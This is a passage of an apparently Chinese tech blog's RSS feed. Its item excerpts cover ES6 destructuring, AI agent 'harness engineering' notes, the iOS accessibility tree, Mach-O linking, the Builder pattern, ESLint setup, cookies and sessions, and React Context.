&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;🎨 可以直接赋值给对象的属性，比如&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let user = {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[user.name, user.surname] = [&amp;#34;Ilya&amp;#34;,&amp;#34;Kantor&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-06.webp"&gt;&lt;/p&gt;</description></item><item><title>Harness Engineering 精读笔记</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/harness-engineering/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/harness-engineering/</guid><description>&lt;blockquote&gt;
&lt;p&gt;基于 2025.11 — 2026.03 期间 Anthropic、OpenAI、LangChain、Google DeepMind、Stanford 发布的九篇核心文章的精读整理。
目标：理解 Harness Engineering 是什么，以及大公司和学术机构在实践中做了哪些探索。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一什么是-harness-engineering"&gt;一、什么是 Harness Engineering？&lt;/h2&gt;
&lt;h3 id="11-harness-的定义"&gt;1.1 Harness 的定义&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;LangChain&lt;/strong&gt; 给出了最清晰的公式化定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Agent = Model + Harness&lt;/strong&gt;
&amp;ldquo;If you&amp;rsquo;re not the model, you&amp;rsquo;re the harness.&amp;rdquo;
&amp;ldquo;A harness is every piece of code, configuration, and execution logic that isn&amp;rsquo;t the model itself.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体来说，Harness 包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System Prompts&lt;/strong&gt; — 系统提示词，定义 Agent 的行为边界&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tools / Skills / MCPs&lt;/strong&gt; — 工具集及其描述（文件读写、代码执行、浏览器操作等）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bundled Infrastructure&lt;/strong&gt; — 捆绑基础设施（文件系统、沙箱、浏览器）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Orchestration Logic&lt;/strong&gt; — 编排逻辑（子 Agent 派生、任务交接、模型路由）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hooks / Middleware&lt;/strong&gt; — 确定性执行逻辑（压缩、续行、lint 检查等）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Anthropic&lt;/strong&gt; 不给 Harness 下抽象定义，而是通过实践来展示：他们用 &amp;ldquo;harness design&amp;rdquo; 和 &amp;ldquo;harnesses for long-running agents&amp;rdquo; 来描述围绕 Agent 执行循环的编排层。Anthropic 在博客中明确说：&amp;ldquo;harness design is key to performance at the frontier of agentic coding&amp;rdquo;。&lt;/p&gt;</description></item><item><title>iOS无障碍树详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E6%97%A0%E9%9A%9C%E7%A2%8D%E6%A0%91/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E6%97%A0%E9%9A%9C%E7%A2%8D%E6%A0%91/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;打开 iPhone 的&amp;quot;设置 → 辅助功能 → 旁白（VoiceOver）&amp;quot;，再用三指在屏幕上滑动，iPhone 就会逐个读出当前界面上的每个控件：&lt;code&gt;&amp;quot;登录按钮，双击以激活&amp;quot;&lt;/code&gt;、&lt;code&gt;&amp;quot;用户名，文本框，已填写 ancheng&amp;quot;&lt;/code&gt;、&lt;code&gt;&amp;quot;价格，¥99&amp;quot;&lt;/code&gt;。这背后支撑 VoiceOver、开关控制（Switch Control）、语音控制（Voice Control）、全键盘访问（Full Keyboard Access）、Xcode UITest、AI Agent 识屏 等一系列能力的，是一棵并行于 &lt;code&gt;UIView&lt;/code&gt; 视图树的 &lt;strong&gt;无障碍树（Accessibility Tree，AX Tree）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;对大多数 iOS 工程师来说，无障碍树是&amp;quot;黑盒&amp;quot;：设了 &lt;code&gt;isAccessibilityElement = true&lt;/code&gt;、填了 &lt;code&gt;accessibilityLabel&lt;/code&gt;，然后就不管了。但一旦遇到以下问题，就不得不深入理解它的工作机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么 UITest 里用 &lt;code&gt;XCUIElement&lt;/code&gt; 定位不到某个按钮？&lt;/li&gt;
&lt;li&gt;为什么打开 VoiceOver 后 App 明显变卡？&lt;/li&gt;
&lt;li&gt;为什么一个自绘的 &lt;code&gt;CALayer&lt;/code&gt; 按钮在 VoiceOver 下无法被朗读？&lt;/li&gt;
&lt;li&gt;为什么 &lt;code&gt;UILabel&lt;/code&gt; 嵌在 &lt;code&gt;UIStackView&lt;/code&gt; 里焦点顺序是乱的？&lt;/li&gt;
&lt;li&gt;SwiftUI 的 &lt;code&gt;.accessibilityElement(children: .combine)&lt;/code&gt; 到底合并了什么？&lt;/li&gt;
&lt;li&gt;Accessibility Inspector 里看到的树结构从哪儿来？&lt;/li&gt;
&lt;li&gt;AI Agent（如 iOS 上的 Claude、ChatGPT Mac 客户端）是如何&amp;quot;看到&amp;quot;屏幕的？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文从&lt;strong&gt;操作系统层的 AX 架构&lt;/strong&gt;讲起，逐层拆解：AX Server 守护进程、UIKit 中的 &lt;code&gt;UIAccessibility&lt;/code&gt; 协议、&lt;code&gt;UIAccessibilityElement&lt;/code&gt; 类、&lt;code&gt;UIAccessibilityContainer&lt;/code&gt; 协议、焦点排序算法、SwiftUI 的 AX 实现、辅助技术的工作原理、性能优化、UITest 与 AI 识屏原理、调试工具与最佳实践。&lt;/p&gt;</description></item><item><title>Mach-O的链接、装载与库</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mach-o%E7%9A%84%E9%93%BE%E6%8E%A5-%E8%A3%85%E8%BD%BD%E4%B8%8E%E5%BA%93/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mach-o%E7%9A%84%E9%93%BE%E6%8E%A5-%E8%A3%85%E8%BD%BD%E4%B8%8E%E5%BA%93/</guid><description>&lt;p&gt;本文深入介绍iOS/macOS开发中的Mach-O文件格式、动态库与静态库，帮助理解程序的链接、装载过程，以及Rebase/Bind的底层原理。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一基础概念"&gt;一、基础概念&lt;/h2&gt;
&lt;p&gt;在深入学习之前，先了解几个核心概念。&lt;/p&gt;
&lt;h3 id="10-从源代码到可执行文件"&gt;1.0 从源代码到可执行文件&lt;/h3&gt;
&lt;p&gt;一段源代码要变成可执行文件，需要经历以下几个阶段：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart TB
A["源代码 (.m/.swift)"] --&gt; B["预处理&lt;br/&gt;展开宏、处理#import/#include"]
B --&gt; C["编译&lt;br/&gt;源代码 → 汇编代码"]
C --&gt; D["汇编&lt;br/&gt;汇编代码 → 目标文件(.o)"]
D --&gt; E["链接&lt;br/&gt;目标文件 + 库 → 可执行文件"]
E --&gt; F["可执行文件"]
&lt;/pre&gt;
&lt;h3 id="11-什么是符号symbol"&gt;1.1 什么是符号（Symbol）&lt;/h3&gt;
&lt;p&gt;符号是程序中函数、变量、类等实体的&lt;strong&gt;名称标识&lt;/strong&gt;。当你写下一个函数调用时，编译器需要知道这个函数在哪里，符号就是用来定位它的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 这段代码中包含多个符号
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;myFunction&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// 定义了符号 _myFunction
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;Hello&amp;#34;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 引用了外部符号 _NSLog
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; globalVar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 定义了符号 _globalVar
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;符号分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;已定义符号&lt;/strong&gt;：在当前编译单元（即当前源文件编译生成的.o文件）中有具体代码或数据定义的符号（如上例中的 &lt;code&gt;_myFunction&lt;/code&gt; 和 &lt;code&gt;_globalVar&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;未定义符号&lt;/strong&gt;：当前编译单元只是引用，实际定义在其他编译单元或库中的符号（如上例中的 &lt;code&gt;_NSLog&lt;/code&gt;），需要在链接时解析&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-什么是链接linking"&gt;1.2 什么是链接（Linking）&lt;/h3&gt;
&lt;p&gt;链接是将多个编译后的目标文件（.o）组合成一个可执行文件的过程。链接器的核心工作是&lt;strong&gt;符号解析&lt;/strong&gt;——把所有&amp;quot;未定义符号&amp;quot;与其他编译单元中的&amp;quot;已定义符号&amp;quot;关联起来。&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart LR
subgraph 输入
A["main.o&lt;br/&gt;已定义: _main&lt;br/&gt;未定义: _foo"]
B["foo.o&lt;br/&gt;已定义: _foo&lt;br/&gt;未定义: _NSLog"]
C["Foundation&lt;br/&gt;已定义: _NSLog"]
end
A --&gt; D["链接器&lt;br/&gt;符号解析"]
B --&gt; D
C --&gt; D
D --&gt; E["可执行文件&lt;br/&gt;所有符号已解析"]
&lt;/pre&gt;
&lt;h4 id="符号解析的过程"&gt;符号解析的过程&lt;/h4&gt;
&lt;p&gt;链接器会遍历所有输入的目标文件和库，执行以下步骤：&lt;/p&gt;</description></item><item><title>建造者模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%BB%BA%E9%80%A0%E8%80%85%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%BB%BA%E9%80%A0%E8%80%85%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;建造者模式（Builder Pattern）是一种创建型设计模式，它将复杂对象的构建与表示分离，使得同样的构建过程可以创建不同的表示。建造者模式特别适用于创建包含多个可选参数的对象。&lt;/p&gt;
&lt;p&gt;建造者模式的核心思想是：将一个复杂对象的构建过程分解为多个简单的步骤，通过一步一步地构建，最终得到完整的对象。&lt;/p&gt;
&lt;h2 id="为什么需要建造者模式"&gt;为什么需要建造者模式&lt;/h2&gt;
&lt;p&gt;建造者模式要解决的核心问题是：&lt;strong&gt;简化复杂对象的创建过程，特别是当对象有很多可选参数时&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们需要创建一个网络请求配置对象，它有很多可选参数。&lt;/p&gt;
&lt;p&gt;使用构造函数的方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;NetworkConfig&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; baseURL: URL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; timeout: TimeInterval
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; retryCount: Int
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cachePolicy: CachePolicy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; headers: [String: String]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; enableLogging: Bool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; certificatePinning: Bool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 构造函数参数太多！&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(baseURL: URL,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: TimeInterval = &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; retryCount: Int = &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cachePolicy: CachePolicy = .&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; headers: [String: String] = [:],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; enableLogging: Bool = &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; certificatePinning: Bool = &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用时 - 参数太多，难以阅读&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; config = NetworkConfig(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; baseURL: URL(string: &lt;span style="color:#e6db74"&gt;&amp;#34;https://api.example.com&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;!&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; retryCount: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cachePolicy: .reloadIgnoringCache,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; headers: [&lt;span style="color:#e6db74"&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Bearer token&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; enableLogging: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; certificatePinning: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;</description></item><item><title>代码规范工程化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-006/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-006/</guid><description>&lt;p&gt;规范化是前端工程化的一个重要部分。现在，有许多工具能够辅助我们实行代码的规范化,比如你一定知道的 ESLint 和 Prettier。&lt;/p&gt;
&lt;p&gt;今天，来聊聊这些工具的工作原理和基本使用，了解它们是如何发挥作用的，以及如何更好地利用这些工具去规范项目的代码。&lt;/p&gt;
&lt;h2 id="1-eslint---检查你的-javascript-代码"&gt;1. ESlint - 检查你的 JavaScript 代码&lt;/h2&gt;
&lt;p&gt;让我们先从知名度最高的 ESLint 开始。&lt;/p&gt;
&lt;h3 id="11-eslint-及其作用"&gt;1.1. ESLint 及其作用&lt;/h3&gt;
&lt;p&gt;Lint 是一类专门用于检查代码的工具软件， 也称 linter。ESLint ，即 JavaScript （ECMAScript）代码的检查工具。&lt;/p&gt;
&lt;p&gt;正如官网的介绍 —— “Find and fix problems in your JavaScript code”，ESLint 能够辅助查找出你的 JavaScript 代码中的问题，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码风格问题（styles）。比如，运算符两边的空格、语句末尾的分号。&lt;/li&gt;
&lt;li&gt;不好的写法。比如，使用 &lt;code&gt;==&lt;/code&gt; 进行比较而不是 &lt;code&gt;===&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;可能存在逻辑问题的代码模式。比如，定义了一个变量，但没有使用到它。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此外，ESLint 还能够帮你自动修复一些简单的问题。&lt;/p&gt;
&lt;p&gt;我们将在下一小结学习如何使用 ESLint 检查我们的 JavaScript 代码，并修复其中的一些问题。&lt;/p&gt;
&lt;h3 id="12-eslint-快速上手"&gt;1.2. ESLint 快速上手&lt;/h3&gt;
&lt;p&gt;为了在项目中使用 ESLint，需要先安装它。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# 初始化一个 npm 项目
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir eslint-test
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd eslint-test
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm init -y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# 安装 eslint
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm init @eslint/config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;回答一系列问题后，你可以看目录中的配置文件 &lt;code&gt;.eslintrc.js&lt;/code&gt;，这个配置文件告诉 ESLint 如何去解析项目，这个项目采用了哪些规范和规则。&lt;/p&gt;</description></item><item><title>Cookie 和 Session</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/</guid><description>&lt;h2 id="cookie-和-session"&gt;Cookie 和 Session&lt;/h2&gt;
&lt;p&gt;HTTP 协议是一种&lt;code&gt;无状态协议&lt;/code&gt;，即每次服务端接收到客户端的请求时，都是一个全新的请求，服务器并不知道客户端的历史请求记录；Session 和 Cookie 的主要目的就是为了弥补 HTTP 的无状态特性。&lt;/p&gt;
&lt;h3 id="session-是什么"&gt;Session 是什么&lt;/h3&gt;
&lt;p&gt;客户端请求服务端，服务端会为这次请求开辟一块&lt;code&gt;内存空间&lt;/code&gt;，这个对象便是 Session 对象，存储结构为 &lt;code&gt;ConcurrentHashMap&lt;/code&gt;。Session 弥补了 HTTP 无状态特性，服务器可以利用 Session 存储客户端在同一个会话期间的一些操作记录。&lt;/p&gt;
&lt;h3 id="session-如何判断是否是同一会话"&gt;Session 如何判断是否是同一会话&lt;/h3&gt;
&lt;p&gt;服务器第一次接收到请求时，开辟了一块 Session 空间（创建了Session对象），同时生成一个 sessionId ，并通过响应头的 **Set-Cookie：JSESSIONID=XXXXXXX **命令，向客户端发送要求设置 Cookie 的响应； 客户端收到响应后，在本机客户端设置了一个 &lt;strong&gt;JSESSIONID=XXXXXXX&lt;/strong&gt; 的 Cookie 信息，该 Cookie 的过期时间为浏览器会话结束；&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来客户端每次向同一个网站发送请求时，请求头都会带上该 Cookie信息（包含 sessionId ）， 然后，服务器通过读取请求头中的 Cookie 信息，获取名称为 JSESSIONID 的值，得到此次请求的 sessionId。&lt;/p&gt;
&lt;h3 id="session-的缺点"&gt;Session 的缺点&lt;/h3&gt;
&lt;p&gt;Session 机制有个缺点，比如 A 服务器存储了 Session，就是做了负载均衡后，假如一段时间内 A 的访问量激增，会转发到 B 进行访问，但是 B 服务器并没有存储 A 的 Session，会导致 Session 的失效。&lt;/p&gt;
&lt;h3 id="cookies-是什么"&gt;Cookies 是什么&lt;/h3&gt;
&lt;p&gt;HTTP 协议中的 Cookie 包括 &lt;code&gt;Web Cookie&lt;/code&gt; 和&lt;code&gt;浏览器 Cookie&lt;/code&gt;，它是服务器发送到 Web 浏览器的一小块数据。服务器发送到浏览器的 Cookie，浏览器会进行存储，并与下一个请求一起发送到服务器。通常，它用于判断两个请求是否来自于同一个浏览器，例如用户保持登录状态。&lt;/p&gt;</description></item><item><title>Context API</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/context-api/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/context-api/</guid><description>&lt;h2 id="先看看react官网对于context的介绍"&gt;先看看React官网对于Context的介绍&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Context 提供了一个无需为每层组件手动添加 props，就能在组件树间进行数据传递的方法。在一个典型的 React 应用中，数据是通过 props 属性自上而下（由父及子）进行传递的，但这种做法对于某些类型的属性而言是极其繁琐的（例如：地区偏好，UI 主题），这些属性是应用程序中许多组件都需要的。Context 提供了一种在组件之间共享此类值的方式，而不必显式地通过组件树的逐层传递 props。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;个人理解转成大白话：&lt;code&gt;Context&lt;/code&gt;提供了一个&lt;strong&gt;局部的全局作用域&lt;/strong&gt;，使用Context则无需再手动的逐层传递&lt;code&gt;props&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;本文主要介绍3种&lt;code&gt;Context&lt;/code&gt;的使用方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;React.createContext&lt;/code&gt;提供的&lt;code&gt;Provider&lt;/code&gt;和&lt;code&gt;Consumer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;函数组件：&lt;code&gt;React.createContext&lt;/code&gt;提供的&lt;code&gt;Provider&lt;/code&gt;和&lt;code&gt;useContext&lt;/code&gt;钩子&lt;/li&gt;
&lt;li&gt;Class组件：&lt;code&gt;React.createContext&lt;/code&gt;提供的&lt;code&gt;Provider&lt;/code&gt;和&lt;code&gt;class&lt;/code&gt;的&lt;code&gt;contextType&lt;/code&gt;属性&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="第一种reactcreatecontext提供的provider和consumer"&gt;第一种：React.createContext提供的Provider和Consumer&lt;/h3&gt;
&lt;p&gt;先写好使用&lt;code&gt;Context&lt;/code&gt;的基础环境条件，后续的代码都是基于此环境&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//创建一个文件，暂且命名为context.js，导出createContext()的返回值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createContext&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createContext&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在根组件&lt;code&gt;App.jsx&lt;/code&gt;中，导入上面写的&lt;code&gt;context&lt;/code&gt;，并使用&lt;code&gt;context&lt;/code&gt;提供的&lt;code&gt;Provider&lt;/code&gt;组件进行包裹，圈定&lt;strong&gt;局部的全局作用域&lt;/strong&gt;，传值后可以提供给子组件进行消费&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当 Provider 的 value 值发生变化时，它内部的所有消费组件都会重新渲染。Provider 及其内部 consumer 组件都不受制于 shouldComponentUpdate 函数，因此当 consumer 组件在其祖先组件退出更新的情况下也能更新。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;createContext&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyContext&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./context&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
